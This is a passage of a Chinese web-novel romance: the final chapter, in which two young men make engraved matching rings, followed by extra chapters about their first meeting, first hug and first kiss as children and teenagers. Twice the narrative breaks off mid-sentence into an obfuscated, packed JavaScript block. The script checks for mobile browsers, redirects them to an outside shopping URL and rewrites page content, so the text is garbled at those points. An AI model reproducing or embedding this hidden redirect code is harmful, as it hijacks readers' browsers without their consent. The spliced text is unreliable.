“你让我,我照照镜子。”玄关柜上贴了一面镜子,方便柯杭出门时检查自己的面容,他拨开李一谦,自己往后退了一步,在镜中看到全貌。 长发被李一谦扎了一个丸子头坠在后脑勺,贝雷帽戴上有些俏皮的味道:“我感觉有点雌雄莫辨。” “我觉得挺好的。”李一谦捏捏自己扎的丸子,手感很好。 柯杭之前夏天的时候说要剪头发,但一直没剪,新生的黑发都已经长到耳后,后面的浅色头发也基本不会再掉色了。 李一谦喜欢柯杭长发被汗水打湿贴在脖子上、脸上或是散落在枕边,格外的招人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248914|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你再捏我就把头发剪了。”柯杭知道李一谦喜欢自己的长发,举起拳头威胁道。 李一谦蹭过来亲亲他的嘴角:“你剃光头我都喜欢。” “不要。”柯杭拒绝,打开门要走。 李一谦拉住他的手,将门带上,“等会儿我来开车。” “行。” 十一月底的A市已经开始下雪,昨夜下了雨,今天却是个艳阳天,他们出门时雪已全然融化。 “话说,”柯杭往后仰,靠在椅背上,“今年第一场雪的时候我们在干啥来着。” 断断续续下了好几场雪,因为不算大,学校也没通知过停课。 “初雪前一天你熬夜画了画,回家后睡了一个白天,晚上觉得忽视我了,和我做了会儿运动,醒来雪已经没下了。” 经过他这么一说,柯杭有点印象了。 就是前不久,因为忙着提交作品,每天都在画室呆很久,跟屏蔽六欲了一样。 车窗外,绿化带上的枝丫上还有些太阳遗落的雪,柯杭叹了口气:“错过了啊。” “不算错过。”李一谦想了想,“那天在窗边的时候,我有让你看的。” 柯杭:“?” “所以你当时把我带到窗边不是情趣,是想让我看雪?” “啊。”李一谦答的坦然,又有些无奈的叫他,“哥,我在你眼里就是那样的人么?” 柯杭认真点头,“之前不觉得,现在发现你已经不是以前那朵小白花了,里面的心是黑的。” 李一谦笑容和煦:“那你也跑不掉了。” “我也没打算跑。”柯杭小声嘀咕。 一进店里,店员迎上来问他们需要做什么。 手作店有好几个区域,手机壳、串珠、银饰等等。 李一谦翻出自己的预约订单,“做这个。” “好的,我们需要先核销一下二维码,”店员说着,等人把二维码调试出来后,核销成功,她手指向前方:“这边请。” 他们来到操作台,工作人员为他们讲解做戒指的步骤,主要是李一谦听,柯杭选款式。 柯杭平时戴的银戒都是有款式的,唯独缺素戒,“这个怎么样?我差个素的。” “我想刻名字缩写。”李一谦合理表达自己的诉求。 柯杭想了想:“没问题,刻,到时候翻在里面就行。” 半个多小时后,李一谦如愿得到一对刻有他和柯杭名字的对戒。 给柯杭的那个,他打磨得特别细致,怕银制品的粗糙让柯杭的手指不舒服,给柯杭戴上时也是郑重其事。 想到柯杭将自己的名字戴在手上,他心头发热,带人绕到楼梯间亲了好几口。 “够了啊。”柯杭伸出食指抵在他的嘴唇上,“我还没给你戴上你就着急忙慌出来,晚亲一会儿我会跑了还是怎么?” 李一谦抱着他,亲昵地将头埋在他的肩窝:“好爱你。” 柯杭脸一红,默许了他的行为,“那再亲一下?亲完给你——” 还未说出完,李一谦就将他剩下的话语堵住。 唇舌热烈地缠绵过后,柯杭轻咬了他的下唇,手伸进小礼品袋将饰品盒打开,取出里面的戒指给李一谦戴上,“剩下的回家再做,嗯?” “好。” ——全文完—— 38. 番外 第一次 01第一次见面 李一谦第一次见到柯杭是在某天放学后,她姐带着一个高高帅帅的人来接他。 他仰头看这两人:“姐姐,这是谁?” “我们楼上的邻居啊。”李一妍说。 李一谦点点头说知道了,三个人一起回家。 路上李一妍看到另一个小学门口有一个小贩,他坐在一个板凳上,身侧是个挂了很多东西的大架子,面前还摆了很多小动物。 仓鼠、金鱼还有小鸡仔,而架子上挂的则是一些手链、项链红绳等等。 李一妍被吸引住了目光,手搭在李一谦的肩膀上:“弟弟,想不想玩?” 此时的李一谦对所有事物都充满了好奇,他点点头,李一妍便带着他上前一步,指着那个抽奖箱问那个小贩:“这个怎么玩的?” 小贩:“一块钱一次,五次不中送一只小金鱼。” “单买呢?”李一谦问。 “单买?仓鼠十五元,金鱼五元,小鸡仔十元。” 李一谦若有所思,李一妍直接给了五元:“我抽五块的吧。” 付款结束,李一妍招呼李一谦到身边来,“来啊小谦,你手气比我好,你先来个三抽。” 柯杭在后面抱着胳膊,“你怎么不说我运气也不错?” “你拉倒吧。”李一妍头也不回,吐槽道:“你有毒,每次你说什么不检查作业打游戏能赢全是假的。” 李一谦蹲在李一妍旁边,手被拉到抽奖箱里,眼睛还直愣愣地盯着柯杭。 柯杭目光从李一妍头顶偏到旁边小狗似的圆眼睛上,他冲这小孩儿挑眉:“看我干嘛?” 李一谦没说话,低头抽奖,抽了一个五块钱和两只仓鼠出来。 “我去,好弟弟,手气真好。”李一妍语气略骄傲,自己将手放进箱子:“让我来看看我能抽到啥。” 李一妍随便抓了到个球,拿出来发现上面写了[三等奖:五块钱] “牛逼!”李一妍举起手,将球上的字拿给柯杭看,“牛逼不?” 柯杭竖了个大拇指:“牛逼。” “你来一抽。”李一妍站起来让位给柯杭,“姑奶奶我倒要看看你能抽出个啥。” 柯杭汗颜:“你继续抽把要不,我真怕我抽出个不好的你怪我。” “怎么可能。”李一妍顺手将李一谦拉起来,“我是那样的人么?一谦,给哥哥加油。” 二年级的李一谦茫然地说着加油的话,柯杭笑了笑,“抽抽抽。” 结果摸出个“手链一条”。 小贩最后给他们东西的时候脸都黑了:“你们运气也太好了些。” 手链落入李一妍手中,是时下最流行的七仙女手链,五次抽奖里她最满意的就是这个。 她套在手上,举起手翻来覆去的看了一遍:“我的手真好看。” 柯杭和李一谦一人提着一只仓鼠跟在他后面。 李一谦没养过活物,对仓鼠的好奇心很大,一旁的柯杭却少见不怪的样子。 02第一次串门 仓鼠最后一只在柯家,一只在李家。 因为李一妍觉得一只就够了,两只要打架。 李一谦本来不想给的,闹了些脾气,回家后李一妍语重心长地跟他讲:“今天那个哥哥他家里之前养了一只小狗,但是那只小狗现在离开他了,所以姐姐送他小仓鼠转移一下注意力,不然他会很伤心的知道吗?” 李一谦眨眨眼,眼角的泪水落下:“他再也看不到小狗了吗?” “是啊。”李一妍哄道:“你看,你一星期看不到爸爸妈妈都会很伤心,更何况哥哥再也看不到那只小狗了呢。” 说完她指了指放在茶几上的仓鼠:“没事儿,这只是你的,你陪小仓鼠,小仓鼠不会孤单的,如果你要实在觉得它孤单的话,我带你楼上去找另一只?” 李一谦点头。 当时他们家里还有保姆,每天来做饭的。 饭后他们上了楼,敲响柯杭家的门,开门的是一个他不认识的姐姐。 “来找小杭玩啊?”那位姐姐说,把门拉开了一些让人进来。 厨房的人闻声出来,那是李一谦第一次见到柯杭的妈妈。 “哎哟,一妍来了啊,这小孩儿是你弟弟吗?”柯妈妈朝他们走过来,上手就捏了捏李一谦的脸,“可爱的哟。” “乖乖,给姨姨说说,叫什么名字啊?” “我叫李一谦。” 柯妈妈揉揉他的头发:“比小杭乖多了。” 李一谦抱着小仓鼠的笼子,被带进家里,他眼睛转了一圈,终于看到了柯杭,在阳台的角落画画。 “小杭,你朋友来找你了!”柯妈妈喊道。 柯杭置若罔闻,手没停下来。 “这孩子,一画起画来就听不到声音。”柯妈妈小声抱怨。 李一妍拉住她:“没事阿姨,柯杭下午带回来的那只仓鼠放哪儿了?我弟弟想让两只仓鼠一起玩一玩。” “在那儿呢。”柯妈妈指了个方向。 李一谦顺着手指的方向看过去,在柯杭的脚旁发现仓鼠笼子,他走过去,蹲在柯杭身旁,戳戳了盒子,里面的仓鼠也跟着动了一下。 这时他才提起笼子来,但目光却再移不开了。 柯杭正在画一幅山水画,回家后没有换衣服,还是白天那身黑色短袖,上面沾了颜料,脖子上也有一些。 李一谦今天看到的柯杭都是懒懒散散的样子,反正不像现在那么专心,他就站在柯杭身后,说不清是被画吸引还是被现在的柯杭所吸引,挪不动脚步。 03第一次拥抱 最近何纯被公司选中去国外交流学习,大概去一年左右。 本来在家陪孩子的时间就不算长,现在出国的话,更是一年见不到两三次,她还在犹豫,想听听自己儿女的意见。 李一谦正在给何纯捏肩,他问:“会很长时间不回来吗?” “会啊。”何纯仰头看儿子:“一年可能就回来一次吧?” 李一谦瘪起嘴:“可是我会想你的。” “妈妈也舍不得你们,所以在想要不要去。” “去了有什么好处吗?” 何纯想了想,用小学生能听懂的话语:“会让妈妈变得更厉害。” 李一妍现在正上初中,正渴望自由,听到何纯这么说,便先投出赞成票:“变得更厉害就去呀!” “小没良心的。”何纯点点她的鼻头,“就算我出去你爸也还在家呢。” “爸忙着呢,周末回来好累。”李一妍叹了口气,“而且爸爸做饭也不好吃,还不如阿姨。” “......”被点名的李爸。 最终何纯还是决定去这堂交流学习。 何纯出发那天,和姐弟俩说:“我和楼上的黄阿姨说了,以后你们有事就上去找他们。” 李一谦重重点头,说的话已经带了哭腔:“妈妈你要想我。” “妈妈最想你。”何纯贴了贴他的脸蛋儿。 李一妍抱着她脑袋亲了一口,“妈妈再见,我会看好弟弟的。” 回到家的李一谦闷闷不乐,李一妍也没什么办法,便问他要不要去楼上看仓鼠。 想到楼上有仓鼠,也有画画的柯杭,李一谦小声回答:“要。” 这次他们上楼,来开门的是柯杭。 李一妍先走进来,左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248915|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 右看了看:“你家没人啊?黄阿姨呢?” “你们只是赶上她在家的那几天。”柯杭转身朝沙发走去。 李一谦默默跟在姐姐身后,却坐到了柯杭身边。 “咋了这是?”柯杭低头看着旁边可怜巴巴的小孩儿,撅着嘴要哭不哭的样子。 李一妍靠在沙发上:“唉,你再说他又要哭了。” 柯杭:“?” “我妈要去国外一年,刚刚才送走,她前脚走,我爸后脚就一个电话被叫回去工作。”李一妍看着自家弟弟,“憋一路了,回家才哭了一场,我说上来玩他才说话。” 柯杭转了个身,将腿放在沙发上盘起,伸手抬起李一谦的下巴,“真哭了啊?” 李一谦红着眼:“没有。”他本来就没有哭,只是有点难过。 “来,抱一个,别哭了。”柯杭张开双臂,强硬地将李一谦拢进自己的怀抱中。 04第一次亲吻 柯杭上高中后,哥哥姐姐也因为在外上大学不常回家,索性就直接蹭李一谦家的饭了。 但一放暑假他就昼夜颠倒,经常需要李一谦来叫他,或是打包给他带上来。 某天,他一不留神,画了个通宵,早上九点过才睡,想着李一谦会来叫他,便直接睡了。 李一谦照例上路叫柯杭吃饭。 一般是这样的,吃饭前给柯杭打电话,不接的话他在上楼叫人,叫了不醒的话他就自己先下去装一份在饭盒里,再和李一妍一块儿吃,吃完再带上来。 叫柯杭的时候,柯杭没答应,李一谦探了探对方呼吸。 很好,在睡。 他放心地回家给李一谦打包饭菜,吃完后又带上来。 李一妍看得啧啧称奇:“我都不知道你以后处对象能狗腿成什么样儿。” 反正也无聊,李一妍便跟着李一谦上去,看看今天能不能几个人一块儿出去玩一圈儿。 上楼后,李一妍看着李一谦轻车熟路开门,把饭盒放进厨房微波炉,又去打开柯杭掩上的房门。 “哥,起床了。”李一谦推推床上的人。 李一妍就在一边看着。 “他睡那么死?”李一妍真是从来没见过这样都叫不醒的人。 这睡眠赶得上沉睡的恶龙了吧? 李一谦又推又揉又他,都没有反应。 李一妍膛目结舌:“他这不会是休克了吧?” “那怎么办?打120?”李一谦猛地扭头看着他,手慌乱的不知道放哪儿。 李一妍两步并一步走过去,看着对方胸膛的起伏,觉得应该没逝。 “应该不用。”关心则乱,她从来没有看过自家弟弟这么慌张的样子。 想着这俩人现在玩那么好,便指着床上的人:“给他做个人工呼吸试试?”说完她就安静下来,姐弟俩一个蹲着一个站着,很是尴尬。 李一妍指了指床上睡得死死的人,谦让道:“你来。” 李一谦也没管那么多,直接膝盖抵着床,捏着柯杭的鼻子,张开嘴往里面送气。 柯杭的嘴唇是柔软的,温热的鼻息贴着他的脸颊。 一时间只有大口送气的声音,李一妍在身后默默掏出手机给两人拍了一张照片,又装好手机,什么都没做的样子。 柯杭做了一个梦,他在个安静的小房子里画画,外面忽然下起来了雨,但雨很快停下,他继续画画。但过了没多久,狂风暴雨袭来,不仅如此,原本清新的空气竟然让他感到窒息,他猛地睁开眼,发现自己身上有个人。 柯杭:''?’ 李一谦:''.'' 李一妍:O.o 柯杭暴怒:"老子的初吻!"